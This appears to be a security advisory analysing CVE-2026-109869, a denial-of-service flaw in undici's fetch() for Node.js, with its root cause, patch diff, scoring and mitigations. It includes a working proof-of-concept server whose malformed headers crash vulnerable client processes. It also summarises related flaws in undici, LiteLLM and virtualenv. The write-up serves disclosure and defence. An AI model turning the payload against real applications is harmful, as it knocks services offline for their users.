Oct 24, 2026·10 min read·5 visits
An unhandled error on an orphaned internal Readable stream in undici's fetch() implementation allows a remote HTTP server to crash the entire Node.js process by sending more than five Content-Encoding headers and closing the connection prematurely, bypassing application-level try/catch blocks.
CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.
Undici serves as the foundational HTTP/1.1 client library and backs the global fetch() API in the Node.js runtime. It manages connection pooling, request dispatching, HTTP header parsing, and response body streaming for outbound network requests. Because modern Node.js applications rely on undici for external API communication, webhook delivery, and microservice orchestration, flaws in its response parser expose client applications to network-borne attacks from upstream servers.
CVE-2026-109869 (tracked also as GHSA-xjj6-f33q-929c) is a denial-of-service vulnerability affecting undici versions 6.23.0 through 6.29.0, 7.18.0 through 7.30.0, and 8.0.0 through 8.12.1. The defect is classified under CWE-248 (Uncaught Exception) and CWE-459 (Incomplete Cleanup). It occurs within the httpNetworkFetch execution path inside lib/web/fetch/index.js when processing HTTP responses containing stacked Content-Encoding headers.
To prevent decompression bomb attacks, undici enforces a strict limit of five content codings per response. However, in vulnerable versions, the internal response Readable stream (this.body) is instantiated prior to validating the content-encoding count. When a server returns more than five content codings, undici rejects the top-level promise and returns early without attaching an error handler to this.body or aborting the underlying network controller.
If the remote server immediately closes the TCP connection before delivering the promised response body, the underlying HTTP parser detects an unexpected end-of-file (such as a content-length mismatch) and emits an error event on the orphaned this.body stream. In Node.js, an error event emitted on an EventEmitter or Stream without registered listeners causes an unhandled exception that terminates the active process, completely bypassing any try/catch blocks or .catch() handlers wrapping the fetch() call.
The root cause of CVE-2026-109869 lies in an improper ordering of resource allocation and validation checks within httpNetworkFetch in lib/web/fetch/index.js, combined with an incomplete error-handling teardown sequence. When undici receives response headers from an upstream server, it processes redirect statuses, extracts headers, and prepares the response stream for consumption by the caller.
Prior to the security patch, undici allocated the internal Node.js Readable stream immediately after extracting the Location header:
this.body = new Readable({ read: () => controller.resume() })Only after instantiating this.body did the execution path evaluate whether the response was a redirect or required content-encoding decompression. To mitigate multi-layered compression attacks—similar to vulnerabilities previously addressed in urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206)—undici counts the number of encodings specified in the Content-Encoding header and compares it against maxContentEncodings (set to 5).
When codings.length > 5, the vulnerable code invoked reject(new Error(...)) and returned immediately from the header callback. This early return created two state inconsistencies:
onError listener responsible for routing stream errors to this.onResponseError(controller, err) was only registered at the end of the function, after the content-encoding loop completed. By returning early, this.body remained active in memory with zero 'error' listeners attached.reject() rejected the JavaScript Promise returned to the user's fetch() call, but it did not invoke controller.abort(). Consequently, the underlying HTTP dispatcher and socket parser continued monitoring the TCP stream as if the response body were still expected.When the server closes the TCP socket before transmitting the bytes promised by Content-Length (or before terminating a chunked transfer), the socket parser raises a premature close or content-length mismatch error. The dispatcher forwards this error to this.body.destroy(err). Because this.body exists but lacks an 'error' event listener, Node.js escalates the unhandled stream error to an uncaughtException, crashing the runtime.
The vulnerability was remediated across the v6, v7, and v8 release branches in commits 1325a87dfb3492f8e87e6b0a84b3bda4e82e3436, 07ded4941b1e72afec862958c3b8ddf468f3b429, and b5084c7dc239172d75c336b1cd51ddac023938a5. The patch modifies lib/web/fetch/index.js inside the httpNetworkFetch function.
@@ -2280,8 +2280,6 @@ async function httpNetworkFetch (
appendHeadersListFromResponseHeaders(headersList, headers, rawHeaders)
const location = headersList.get('location', true)
- this.body = new Readable({ read: () => controller.resume() })
-
const willFollow = location && request.redirect === 'follow' &&
redirectStatusSet.has(status)
@@ -2299,7 +2297,7 @@ async function httpNetworkFetch (
// CVE fix similar to urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206).
const maxContentEncodings = 5
if (codings.length > maxContentEncodings) {
- reject(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
+ controller.abort(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
return
}
@@ -2341,6 +2339,8 @@ async function httpNetworkFetch (
}
}
+ this.body = new Readable({ read: () => controller.resume() })
+
const onError = (err) => this.onResponseError(controller, err)
resolve({The patch enforces two structural changes that eliminate the vulnerability:
this.body = new Readable({ read: () => controller.resume() }) is moved past the redirect checks and the codings.length > maxContentEncodings check. It is now placed immediately prior to defining onError and resolving the response object. If any header validation check fails, this.body remains undefined, preventing any orphaned stream from existing.reject(new Error(...)) directly when codings.length > maxContentEncodings, the patched code calls controller.abort(new Error(...)). In undici's fetch lifecycle, aborting the controller both rejects the pending fetch promise with the supplied error and signals the underlying HTTP client dispatcher to immediately tear down the active request and ignore subsequent socket closure events.> [!NOTE]
> Assessing fix completeness: Moving this.body allocation down also prevents orphaned stream allocation during automatic HTTP redirects (willFollow branch), where this.body was previously allocated and discarded on each redirect hop. By deferring stream creation until all pre-body validation checks succeed and routing failures through controller.abort(), the patch completely closes this error-handling gap.
Exploiting CVE-2026-109869 requires no authentication or privileges on the target Node.js application. The sole prerequisite is that the target application uses a vulnerable version of undici (either directly imported from npm or via Node.js's built-in global fetch()) to make an HTTP or HTTPS request to an endpoint controlled by or routed through the attacker.
Attack vectors commonly exposing applications to this flaw include:
fetch().To trigger the crash, the attacker's server waits for an incoming HTTP request from the target and replies with an HTTP response meeting two specific criteria:
Content-Encoding: gzip, gzip, gzip, gzip, gzip, gzip). These can be delivered in a single comma-separated header or across multiple Content-Encoding header lines.Content-Length: 100), and the server immediately closes the TCP connection (FIN or RST) without sending the body bytes.// Proof of Concept: CVE-2026-109869
const net = require('node:net');
const { fetch, Client } = require('undici');
const MAX_CONTENT_ENCODINGS = 5;
// Construct an HTTP response with 6 content-encodings and a non-zero Content-Length
const maliciousResponse = Buffer.from(
'HTTP/1.1 200 OK\r\n' +
`Content-Encoding: ${Array(MAX_CONTENT_ENCODINGS + 1).fill('gzip').join(', ')}\r\n` +
'Content-Length: 100\r\n' +
'Connection: close\r\n\r\n'
);
const server = net.createServer((socket) => {
socket.once('data', () => {
// Send headers and immediately close the socket before sending the 100-byte body
socket.end(maliciousResponse);
});
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
const targetUrl = `http://127.0.0.1:${port}`;
const client = new Client(targetUrl);
try {
await fetch(targetUrl, { dispatcher: client });
} catch (err) {
// Application properly catches the promise rejection:
// "Error: too many content-encodings in response: 6, maximum allowed is 5"
console.log('Caught expected rejection:', err.message);
}
// Despite the try/catch block above, the Node.js process crashes moments later
// when the socket EOF triggers an unhandled 'error' event on the orphaned stream.
});When executed against a vulnerable version of undici, the try/catch block catches the initial too many content-encodings rejection as expected. However, on the next tick of the Node.js event loop, the TCP FIN packet is processed by the underlying parser, throwing an unhandled HTTPParserError / content-length mismatch error directly onto the orphaned Readable stream and terminating the process with a non-zero exit code.
CVE-2026-109869 carries a CVSS v3.1 Base Score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability impacts service availability exclusively; it does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure (C:N/I:N/A:H).
The severity is high because Node.js operates on a single-threaded event loop architecture. When an uncaughtException terminates the Node.js runtime process, all concurrent in-flight HTTP requests, WebSocket connections, background jobs, and queued asynchronous tasks co-located within that worker process are abruptly aborted. A single 200-byte response from a remote server is sufficient to take down an entire application instance.
Furthermore, defensive programming practices at the application layer cannot contain the crash without registering a global process.on('uncaughtException') handler—a practice explicitly discouraged by the Node.js documentation for continuing execution because it leaves internal state and file descriptors in an undefined state.
From a threat intelligence perspective, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-109869 a score of 0.00343 (0.343%), placing it in the 26.66th percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While automated internet-wide scanning is less prevalent for client-side vulnerabilities compared to listening server flaws, any application that fetches user-influenced URLs can be trivially and repeatedly crashed by an unauthenticated attacker.
The OpenJS Foundation and the undici maintainers have released patched versions across all supported release lines. Organizations should upgrade undici immediately to the following minimum versions:
6.29.1 or later.7.30.1 or later.8.12.2 or later.Security and engineering teams should audit dependency trees using Software Composition Analysis (SCA) tools or package manager commands (npm ls undici, pnpm why undici, yarn why undici) to locate both direct and transitive installations of undici. In addition to standalone node_modules dependencies, teams should verify the version of undici bundled within their production Node.js runtime binaries if the application invokes the global fetch() API.
> [!WARNING]
> There is no application-level code workaround for vulnerable versions of undici. Wrapping fetch() calls in try/catch blocks or attaching .catch() handlers to the returned promise does not prevent the unhandled stream error from crashing the process.
If immediate patching is operationally impossible, the only viable mitigation is at the network boundary:
fetch() requests via an egress proxy or firewall so the application can only communicate with trusted, internal, or explicitly allowlisted upstream servers.Content-Encoding headers before they reach the Node.js client.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js / OpenJS Foundation | >= 6.23.0, < 6.29.1 | 6.29.1 |
undici Node.js / OpenJS Foundation | >= 7.18.0, < 7.30.1 | 7.30.1 |
undici Node.js / OpenJS Foundation | >= 8.0.0, < 8.12.2 | 8.12.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-109869 (GHSA-xjj6-f33q-929c) |
| Weakness Class | CWE-248 (Uncaught Exception) / CWE-459 (Incomplete Cleanup) |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.343% (26.66th percentile) |
| Attack Vector | Network (Malicious HTTP response with >5 Content-Encoding headers) |
| Impact | Denial of Service (Unhandled stream error crashes Node.js process) |
| Exploit Status | Proof of Concept (PoC) available |
| CISA KEV Status | Not Listed |
The software does not catch or properly handle an exception, leading to an application crash or unexpected state. Also mapped to CWE-459 (Incomplete Cleanup) due to the orphaned Readable stream left in an unmanaged state after an early error return.
A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.
LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.
An origin validation vulnerability in @azure/msal-node allows attackers to process unchecked authorization code response payloads or request query parameters in ConfidentialClientApplication, potentially directing sensitive client credentials to external endpoints.
A path traversal vulnerability in PyPA virtualenv prior to version 21.14.9 allows local attackers to cause arbitrary file and directory deletion when a virtual environment target directory containing untrusted distribution metadata is reused or reseeded.
In virtualenv versions prior to 21.14.9, creating isolated Python virtual environments using the standard library creator (`--creator venv`) allows configuration key injection into `pyvenv.cfg` if an attacker can control or influence the destination directory path containing Unicode line break characters.
A command injection vulnerability in PyPA virtualenv prior to version 21.14.9 allows local attackers to execute arbitrary commands when a user sources a generated shell activation script containing a crafted prompt value.